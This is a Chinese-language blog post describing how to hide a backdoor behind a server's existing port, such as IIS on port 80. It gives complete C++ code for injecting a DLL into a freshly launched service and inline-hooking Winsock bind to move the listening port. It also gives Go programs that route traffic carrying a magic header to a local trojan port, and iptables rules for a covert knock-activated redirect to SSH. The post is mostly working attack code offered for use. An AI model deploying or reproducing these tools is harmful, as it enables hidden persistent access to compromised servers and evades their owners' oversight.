端口复用之简单HOOK

荒废了好久了,得研究研究新东西了。正好就来研究研究端口复用。这篇文章包含一些搜集的资料以及最后打算自己造一些轮子。当然也许会咕咕咕

目标用途:遇到目标程序,例如IIS等程序,令IIS监听的80端口同时能访问http和使用特殊代理程序访问的工具能让80端口变成访问我们后门程序

1-windows

先从浅显易懂的来说起。

参考这个文章:一文打尽 Linux/Windows端口复用实战

可以看出,最简易的端口复用是使用winrm,开启EnableCompatibilityHttpListener,并且把winrm的端口从默认的5935修改为80。利用Net.tcp Port Sharing来达到winrm和http复用的效果。

虽然上述方案很简单,但是并不是我想要的效果。上诉方案只能使用IIS+winrm,基本只能作为后门使用。

按照我的预想,是整一套网截,截获某个程序的socket行为,然后遇到特殊的head的时候在决定是转发给我们的后门程序还是转发给源程序。

那么按照设想的先来。先寻找网截相关资料,可以查看这里:截获 Windows socket API

一般来说,实现截获socket的方法有很多很多,最基本的,可以写驱动,驱动也有很多种,TDI驱动, NDIS驱动,Mini
port驱动…。由于我使用的是Win2000系统,所以截获socket也可以用Windows SPI来进行。另外一种就是Windows
API Hook技术。

驱动

先从驱动说起,从windows 10还是windows7以上,windows安装驱动基本都是需要签名的了。虽然说我们要使用端口复用的时候基本都是高权限。但是光从这点来看就很容易让人pass了。并且由于我不怎么会对设备操作,以及手头没有能用的签名。

这时候可以看看这个:[[原创]网络过滤的简单wfp和tdi驱动sdk ][3],看雪老哥写的,一个项目涵盖了基本驱动层的所有网截。我也就不重复造轮子了。主要还是签名的局限性太大了,基本只能靠淘宝买。

hook

那么R0层基本不考虑了,我们来想想R3层怎么办,最简单的办法就是hook。我们换个思路,直接在目标程序收到消息之前,被我们hook到我们的程序/DLL中,然后判断标头再决定是转发给源程序还是转发给我们后门。

这时候就会出现两个方法,是直接注入DLL相关应用,然后DLL劫持recv函数,在DLL内处理收到的消息,然后转发给目标用户。

亦或者直接hook bind函数,修改原有的监听端口,然后再启动个我们第三方应用去做分流。

权衡利弊,我决定选择第二个方式,主要是第二个方式实现简单。

ShadowMove技术

在查阅相关资料和群友讨论的时候,了解到了ShadowMove技术。可以查看这个:ShadowMove复现与思考

通过创建两个基于原套接字复制的套接字,定期挂起原套接字接收和响应特殊的数据包。

image.png

原理是复制了远程目标的句柄,达到两个程序同时收到数据而不是作为分流,虽然也不是不行,但是可能在实际运用中出现一些奇怪的问题,比如源端口和后门都是HTTP协议等,所以这个方案也pass

Socket Hook

既然我们选择了第二种方案,指的是修改端口然后分流。那么接下来我们就要考虑hook谁和如何hook了。

在windows下,各种hook实现的底层基本都是由bind(winsock)这个实现走的,至于其他非正常的实现我们也就懒得处理了。

选好目标之后,接下来就是如何hook。使用注入的方式也不是不行,但是有一些程序会在启动时就bind函数,导致我们注入之后bind函数已经被调用导致hook失败。所以我们保留注入方式的同时还要想一种在软件启动时候就默认加载我们DLL的方式。

脑袋里念头第一个想到的就是IAT HOOK,同时linux下想到的是特殊的LD_PRELOAD函数。

很可惜我们不能动原始二进制文件,所以IAT HOOK不行,然后LD_PRELOAD在win下并没有那么方便的东西,所以我们只能找其他的注入方式

但是我们可以用CreateProcess启动目标进程之后,把我们的DLL写入目标,然后再使用。

懒得写了,直接参考这篇文章:windows 启动exe程序前注入dll(c++)

然后再找一个INLINE HOOK.我之前也有用到:实现32位和64位系统的Inline Hook API,虽然这里面代码还是需要一点小修改。把这个inline hook的代码添加到我们DLL中,并HOOK winsocks的bind函数

A.png

大体功能就完成了,可以看到我们原本监听的21端口被修改为了8000端口
B.png
然而这还是不够,现在我们是无条件把端口改成8000,实际上程序运用到这个功能的时候也许不只使用一次bind,甚至也许不是bind socket,而是监听管道等等,所以我们需要设置一套可变的规则来灵活应对实战时候的情况。

我们hook的逻辑是注入到对方程序中的,所以我们接下来就要想一个进程间通讯的法子。

怎么简单怎么来,我觉得直接用环境变量就行

// in myHook Dll start
Src_Port = atoi(getenv("srcport"));
Dst_Port = atoi(getenv("dstport"));
// in myHook Function
if (servaddr->sin_port == Src_Port) {
            servaddr->sin_port = htons(Dst_Port);
        }

简单粗暴,也懒得写什么CLI的文档了,直接让用户自己设置环境变量去.然后再整个参数传递和什么位数判断,就完事了.

大概代码如下
main.png

看看效果
hook.png
可以看到我们的目标已经成功修改了指定端口.接下来就是弄转发器辣
完整代码如下

// ConsoleApplication1.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//
#pragma warning (disable: 4996)
#include <iostream>

#include <stdarg.h>
#include <Windows.h>
#include <Psapi.h>
#include <stdint.h>
#include<stdlib.h>
#include<io.h>
#include <tlhelp32.h>
#include <imagehlp.h>
#pragma comment(lib,"Psapi.lib")  //编译这个lib文件
#pragma comment(lib,"imagehlp.lib")  


int __stdcall getPeBit(const WCHAR* pwszFullPath)
{
    FILE* peFile = NULL;
    _wfopen_s(&peFile, pwszFullPath, L"rb");
    if (peFile == NULL)
    {
        fclose(peFile);
        return -1;
    }

    IMAGE_DOS_HEADER imageDosHeader;
    fread(&imageDosHeader, sizeof(IMAGE_DOS_HEADER), 1, peFile);
    if (imageDosHeader.e_magic != IMAGE_DOS_SIGNATURE)
    {
        fclose(peFile);
        return -1;
    }

    IMAGE_NT_HEADERS imageNtHeaders;
    fseek(peFile, imageDosHeader.e_lfanew, SEEK_SET);
    fread(&imageNtHeaders, sizeof(IMAGE_NT_HEADERS), 1, peFile);
    fclose(peFile);
    if (imageNtHeaders.Signature != IMAGE_NT_SIGNATURE)
    {
        return -1;
    }

    if (imageNtHeaders.FileHeader.Machine == IMAGE_FILE_MACHINE_I386)
    {
        return 32;
    }
    if (imageNtHeaders.FileHeader.Machine == IMAGE_FILE_MACHINE_IA64 ||
        imageNtHeaders.FileHeader.Machine == IMAGE_FILE_MACHINE_AMD64)
    {
        return 64;
    }

    return -1;
}
//软件启动前注入Dll
//param1:sDllPath:dll路径,run_path:执行文件路径
bool injectDll(char sDllPath[], TCHAR* pszCmdLine)
{
    //启动目标进程
    STARTUPINFO si = { 0 };
    si.cb = sizeof(si);
    si.dwFlags = STARTF_USESHOWWINDOW;
    si.wShowWindow = SW_SHOW;
    //pi:创建线程返回的信息
    PROCESS_INFORMATION pi;
    
    BOOL bRet = CreateProcess(NULL, pszCmdLine, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
    //获得进程入口
    HANDLE curProcessHandle = pi.hProcess; //获得当前进程的句柄
    // 创建虚拟内存地址,放置dll路径
    LPVOID pDllPath = VirtualAllocEx(curProcessHandle, NULL, strlen(sDllPath) + 1, MEM_COMMIT, PAGE_READWRITE);
    WriteProcessMemory(curProcessHandle, pDllPath, sDllPath, strlen(sDllPath) + 1, NULL);
    // 获取LoadLibraryA地址:用于注入dll;
    PTHREAD_START_ROUTINE pfnLoadLib = (PTHREAD_START_ROUTINE)GetProcAddress(
        GetModuleHandle(TEXT("kernel32")), "LoadLibraryA");
    // 在线程中执行dll中的入口函数:即导入dll
    HANDLE hNewThread = CreateRemoteThread(curProcessHandle, NULL, 0, pfnLoadLib, pDllPath, 0, NULL);
    // TODO: 后续可以插入命令行操作
    WaitForSingleObject(hNewThread, INFINITE);
    VirtualFreeEx(curProcessHandle, pDllPath, 0, MEM_RELEASE);
    CloseHandle(hNewThread);
    CloseHandle(curProcessHandle);
    ResumeThread(pi.hThread);//继续
    return true;
}

int main(int argc, char* argv[])
{
    char pararmLine[MAX_PATH] = {0};
    TCHAR pszCmdLine[MAX_PATH] = {0};
    char* dllpath;
    if (argc < 2) {
        printf("Useage: %s target [param0] [param1] ...", argv[0]);
        return 1;
    }
    //重新构建启动参数
    for (int i = 1; i < argc; i++) {
        strcat(pararmLine,argv[i]);
        strcat(pararmLine, " ");
    }

    wchar_t* checkBie = new wchar_t[MAX_PATH];
    mbstowcs(checkBie, argv[1], strlen(argv[1])+1);
    if (access(argv[1], 0)) {
        printf("target %s not found\n", argv[1]);
        return 1;
    }
    // 判断位数选择注入DLL
    if (getPeBit(checkBie) == 32) {
        dllpath = (char*)"x86.dll";
    }
    else {
        dllpath = (char*)"x64.dll";
    }
    if (access(dllpath, 0)) {
        printf("not found inject %s\n", dllpath);
        return 1;
    }
    if (!getenv("srcport") || !getenv("dstport")) {
        printf("use set srcport=80 and set dstport=81 to forward port.");
        return 1;
    }
    int iLength = MultiByteToWideChar(CP_ACP, 0, pararmLine, strlen(pararmLine) + 1, NULL, 0);
    MultiByteToWideChar(CP_ACP, 0, pararmLine, strlen(pararmLine) + 1, pszCmdLine, iLength);
    
    injectDll(dllpath, pszCmdLine);
}

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#define _CRT_SECURE_NO_WARNINGS

#include<windows.h>
#include<winsock.h>
#include< stdlib.h >
#pragma comment(lib,"Ws2_32.lib") 

#pragma warning (disable: 4996)
struct APIHeader {
#ifdef _WIN64
    char buff[12];
#else
    char buff[5];
#endif
    int size;
};
APIHeader Bind_Header;
static int (WINAPI* OldBind)(SOCKET         s,
    const sockaddr* addr,
    int            namelen) = bind;
int Src_Port, Dst_Port;
BOOL UnhookApi(LPCSTR Moudle, LPCSTR Function, APIHeader* api)
{
    // 获取 user32.dll 模块加载基址
    HMODULE hDll = GetModuleHandleA(Moudle);
    if (NULL == hDll)
    {
        return FALSE;
    }
    // 获取 MessageBoxA 函数的导出地址
    PVOID OldFunction = GetProcAddress(hDll, Function);
    if (NULL == OldFunction)
    {
        return FALSE;
    }
    // 计算写入的前几字节数据, 32位下5字节, 64位下12字节
#ifndef _WIN64
    DWORD dwNewDataSize = 5;
#else
    DWORD dwNewDataSize = 12;
#endif
    // 设置页面的保护属性为 可读、可写、可执行
    DWORD dwOldProtect = 0;
    VirtualProtect(OldFunction, dwNewDataSize, PAGE_EXECUTE_READWRITE, &dwOldProtect);
    // 恢复数据
    RtlCopyMemory(OldFunction, api->buff, dwNewDataSize);
    // 还原页面保护属性
    VirtualProtect(OldFunction, dwNewDataSize, dwOldProtect, &dwOldProtect);
    return TRUE;
}
int WINAPI NewBind(SOCKET s,const sockaddr* addr,int namelen)
{
    UnhookApi("Ws2_32.dll", "bind", &Bind_Header);
    sockaddr_in * servaddr = (sockaddr_in*) addr;
    if (servaddr->sin_family == AF_INET ) {
        char test[MAX_PATH] = { 0 };
        
        if (servaddr->sin_port == htons(Src_Port)) {
            servaddr->sin_port = htons(Dst_Port);
        }
        
        
        return OldBind(s, (sockaddr*)servaddr, namelen);
    }
    else {
        return OldBind(s, addr, namelen);
    }
}
BOOL HookApi(LPCSTR Moudle, LPCSTR Function, LPVOID NewFunction, APIHeader* api)
{
    // 获取 user32.dll 模块加载基址
    HMODULE hDll = GetModuleHandleA(Moudle);
    if (NULL == hDll)
    {
        return FALSE;
    }
    // 获取 MessageBoxA 函数的导出地址
    PVOID OldFunction = GetProcAddress(hDll, Function);
    if (NULL == OldFunction)
    {
        return FALSE;
    }
    // 计算写入的前几字节数据, 32位下5字节, 64位下12字节
#ifndef _WIN64
    // 32位
    // 汇编代码:jmp _dwNewAddress
    // 机器码位:e9 _dwOffset(跳转偏移)
    //        addr1 --> jmp _dwNewAddress指令的下一条指令的地址,即eip的值
    //        addr2 --> 跳转地址的值,即_dwNewAddress的值
    //        跳转偏移 _dwOffset = addr2 - addr1
    BYTE pNewData[5] = { 0xe9, 0, 0, 0, 0 };
    DWORD dwNewDataSize = 5;
    DWORD dwOffset = 0;
    // 计算跳转偏移
    dwOffset = ((DWORD)NewFunction) -((DWORD)OldFunction + 5);


    RtlCopyMemory(&pNewData[1], &dwOffset, sizeof(dwOffset));
#else
    // 64位
    // 汇编代码:mov rax, _dwNewAddress(0x1122334455667788)
    //         jmp rax
    // 机器码是:
    //    48 b8 _dwNewAddress(0x1122334455667788)
    //    ff e0
    BYTE pNewData[12] = { 0x48, 0xb8, 0, 0, 0, 0, 0, 0, 0, 0, 0xff, 0xe0 };
    DWORD dwNewDataSize = 12;
    api->size = dwNewDataSize;
    ULONGLONG ullNewFuncAddr = (ULONGLONG)NewFunction;
    RtlCopyMemory(&pNewData[2], &ullNewFuncAddr, sizeof(ullNewFuncAddr));
#endif
    // 设置页面的保护属性为 可读、可写、可执行
    DWORD dwOldProtect = 0;
    VirtualProtect(OldFunction, dwNewDataSize, PAGE_EXECUTE_READWRITE, &dwOldProtect);
    // 保存原始数据
    RtlCopyMemory(api->buff, OldFunction, dwNewDataSize);
    //printf("address:%llx\n", OldFunction);
    RtlCopyMemory(OldFunction, pNewData, dwNewDataSize);
    // 还原页面保护属性
    VirtualProtect(OldFunction, dwNewDataSize, dwOldProtect, &dwOldProtect);
    return TRUE;
}
BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    
    
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        Src_Port = atoi(getenv("srcport"));
        Dst_Port = atoi(getenv("dstport"));
        

        HookApi("Ws2_32.dll", "bind", &NewBind, &Bind_Header);
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

转发器

为了高并发,以及简单开发,我决定直接上go比较好,直接监听个socket然后遇到特殊标签的数据就转发给木马,话不多说,直接上代码

package main
import (
    "flag"
    "fmt"
    "io"
    "net"
    "os"
)
var host = flag.String("host", "", "host")
var port = flag.String("port", "80", "Listening port before source program HOOK")
var port1 = flag.String("port1", "80", "Listening port after source program HOOK")
var port2 = flag.String("port2", "81", "Backdoor port")
var magic_header =[]byte{55,56,57,58,59}
func byteSliceEqual(a, b []byte) bool {
    if len(a) != len(b) {
        return false
    }

    if (a == nil) != (b == nil) {
        return false
    }

    for i, v := range a {
        if v != b[i] {
            return false
        }
    }

    return true
}
func main() {
    flag.Parse()
    var l net.Listener
    var err error
    l, err = net.Listen("tcp", *host+":"+*port)
    if err != nil {
        fmt.Println("Error listening:", err)
        os.Exit(1)
    }
    defer l.Close()
    for {
        conn, err := l.Accept()
        if err != nil {
            fmt.Println("Error accepting: ", err)
            os.Exit(1)
        }

        go handleRequest(conn)
    }
}
func handleRequest(conn net.Conn) {
    defer conn.Close()
    buffer := make([]byte, 5)
    _, err := conn.Read(buffer)
    if err != nil {  
            fmt.Println(conn.RemoteAddr().String(), " connection error: ", err)  
            return 
        }
    if byteSliceEqual(buffer,magic_header){// 判断魔术头
        //带有魔术头,转发到后门

        server := "127.0.0.1:"+*port2  
        tcpAddr, _ := net.ResolveTCPAddr("tcp4", server)
        conn2, err := net.DialTCP("tcp", nil, tcpAddr)
        defer conn2.Close()
        if err != nil {  
            fmt.Fprintf(os.Stderr, "Fatal error: %s", err.Error())  
            os.Exit(1)  
        }
        for {

            io.Copy(conn, conn2)
            io.Copy(conn2, conn)
        }
    }else{
        //没有魔术头,就是个普通数据,交给源程序
        server := "127.0.0.1:"+*port1  
        tcpAddr, _ := net.ResolveTCPAddr("tcp4", server)
        conn1, err := net.DialTCP("tcp", nil, tcpAddr)
        defer conn1.Close()
        if err != nil {  
            fmt.Fprintf(os.Stderr, "Fatal error: %s", err.Error())  
            os.Exit(1)  
        }
        for {

            go func(){io.Copy(conn, conn1)}
            io.Copy(conn1, conn)
        }
    }
    
}

之后就很简单了,我们再在发送端,套一个中间层,让我们发送的包都带上魔术包就行

发送端

// sender.go
package main  
  
import (  
    "fmt"  
    "net"  
    "os"  
)


var target = flag.String("target", "", "target such as x.x.x.x:1234")
var port = flag.String("port", "1234", "local listen port")
func main() {  
    flag.Parse()
        var l net.Listener
        var err error
        l, err = net.Listen("tcp", "127.0.0.1:"+*port)
        if err != nil {
            fmt.Println("Error listening:", err)
            os.Exit(1)
        }
        defer l.Close()
        for {
            conn, err := l.Accept()
            if err != nil {
                fmt.Println("Error accepting: ", err)
                os.Exit(1)
            }

            go handleRequest(conn)
        }
}  
func handleRequest(conn net.Conn) {
        defer conn.Close()
          
        tcpAddr, err := net.ResolveTCPAddr("tcp4", target)  
        if err != nil {  
            fmt.Fprintf(os.Stderr, "Fatal error: %s", err.Error())  
            os.Exit(1)  
        }  
      
        conn2, err := net.DialTCP("tcp", nil, tcpAddr)  
        if err != nil {  
            fmt.Fprintf(os.Stderr, "Fatal error: %s", err.Error())  
            os.Exit(1)  
        }
        fmt.Println("connect success")
        conn2.Write([]byte{55,56,57,58,59})
        go func(){
            io.Copy(conn, conn2)
        }
        io.Copy(conn2, conn)
            
}

基本使用流程就是

杀死原有服务 ---> 使用我们的注入器程序启动原有服务(cpp) ----> 启动数据分流服务(go) <====>
魔术头发送程序(sender.go) < ---- 我们想发送到后门的数据包

linux

一文打尽 Linux/Windows端口复用实战就知道,linux自带一个驱动层很好用的东西,就是iptables.

# 新建端口复用链
iptables -t nat -N LETMEIN
# 端口复用规则
iptables -t nat -A LETMEIN -p tcp -j REDIRECT --to-port 22
# 开启端口复用开关
iptables -A INPUT -p tcp -m string --string 'threathuntercoming' --algo bm -m recent --set --name letmein --rsource -j ACCEPT
# 关闭端口复用开关
iptables -A INPUT -p tcp -m string --string 'threathunterleaving' --algo bm -m recent --name letmein --remove -j ACCEPT
# 开启端口复用
iptables -t nat -A PREROUTING -p tcp --dport 8000 --syn -m recent --rcheck --seconds 3600 --name letmein --rsource -j LETMEIN

使用这个可以很轻松的建立起一个端口复用链.

当然,你也可以自己写hook来hook原有的程序,与windows下不同的是,linux你可以不用注入操作,可以使用LD_PRELOAD这个环境便来来达到类似IAT HOOK的效果

可以查看我之前的这个文章:linux下的进程/文件隐藏,里面介绍的很详细.不过和进程隐藏不同,这次我们的filter不是隐藏进程而是端口分流,所以操作基本和上诉大同小异,把bind给hook然后做个修改,然后用上面两个go写的分流和sender就行啦,因为是golang写的所以甚至可以直接拿过来用代码都不用改的

结语

至此,我们R3层的端口复用就完成了,没什么技术含量我也不知道为啥这么一个简单的东西搞的和什么似的要写这么详细.就当我水一篇文章吧.好久没写文章了

Tags: 端口, 复用

添加新评论 »